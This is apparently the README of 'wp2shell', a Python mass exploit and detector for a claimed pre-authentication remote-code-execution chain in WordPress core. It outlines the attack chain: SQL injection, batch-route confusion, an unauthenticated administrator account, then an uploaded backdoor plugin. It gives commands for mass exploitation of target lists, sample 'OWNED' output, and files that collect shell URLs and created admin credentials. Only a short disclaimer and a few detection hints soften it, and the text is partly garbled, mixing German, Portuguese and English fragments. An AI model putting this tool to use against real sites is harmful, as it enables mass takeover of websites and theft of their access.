Python-Massenexploit und Detektor für die WordPress-Core-Pre-Auth-RCE-Kette CVE-2026-63030 und CVE-2026-60137, die SQL-Injection mit Remote-Code-Ausführung verkettet.
| Attribut | Details |
|---|---|
| CVE-ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Kette | wp2shell — Pre-Auth RCE |
| Schweregrad | 🔴 KRITISCH (CVSS 9.8) |
| Ziel | WordPress Core (ohne Plugins) |
| Betroffen (RCE) | 6.9.0 – 6.9.4 und 7.0.0 – 7.0.1 |
| Betroffen (nur SQLi) | 6.8.0 – 6.8.5 |
| Behoben | 6.8.6 / 6.9.5 / 7.0.2 (18.07.2026) |
| Erforderliche Authentifizierung | Keine |
Zwei verkettete Schwachstellen im WordPress-Kern:
author__not_in der internen Klasse WP_Query./wp-json/batch/v1 bringt die Batch-Einträge außer Takt, wodurch eine Anfrage auf die nächste Route „fällt".Die Kette wandelt die SQLi in eine Pre-Authentication-RCE um:
route confusion /wp-json/batch/v1 ─► SQLi no author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin criado sem auth
▼
login → upload plugin backdoor → RCE
Fallbacks: direktes INTO OUTFILE (FILE-Privileg) und blinde Hash-Extraktion + Crack.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
| Option | Beschreibung |
|---|---|
-l, --targets-file | Ein Ziel pro Zeile (wiederholbar, unbegrenzt) |
-u, --target | Einzelnes Ziel |
--cmd | Befehl, der auf dem Ziel ausgeführt werden soll |
--authorized | Erforderlich (oder WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Ziele parallel (1–32) |
--delay | SLEEP des Timings/der Extraktion (2 = robust) |
--rate | Anfragen/s pro Ziel |
-k, --insecure | TLS ignorieren |
--proxy | HTTP-Proxy |
--wordlist / --password / --username | Fallback für Anmeldedaten |
--log / --owned / --results-csv | Ausgabedateien |
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — Ziele mit RCE (Shell-URL)admins.txt — ohne RCE-Sink erstellte Admins (Anmeldedaten)exploit_log.txt — Details pro Zielresults.csv — Zusammenfassung (exit_code: 0=owned, 4=admin, 2=fail, 3=error)whl_page via SQLi) + gängige Slugs├── wp2shell.py # exploit + detector
├── targets.txt # alvos (uma URL por linha)
├── owned.txt # RCE conseguido (auto-criado)
├── admins.txt # admins criados (auto-criado)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 und /?rest_route=/batch/v1wp-content/uploads/ und wp-content/plugins/ auf verdächtiges PHP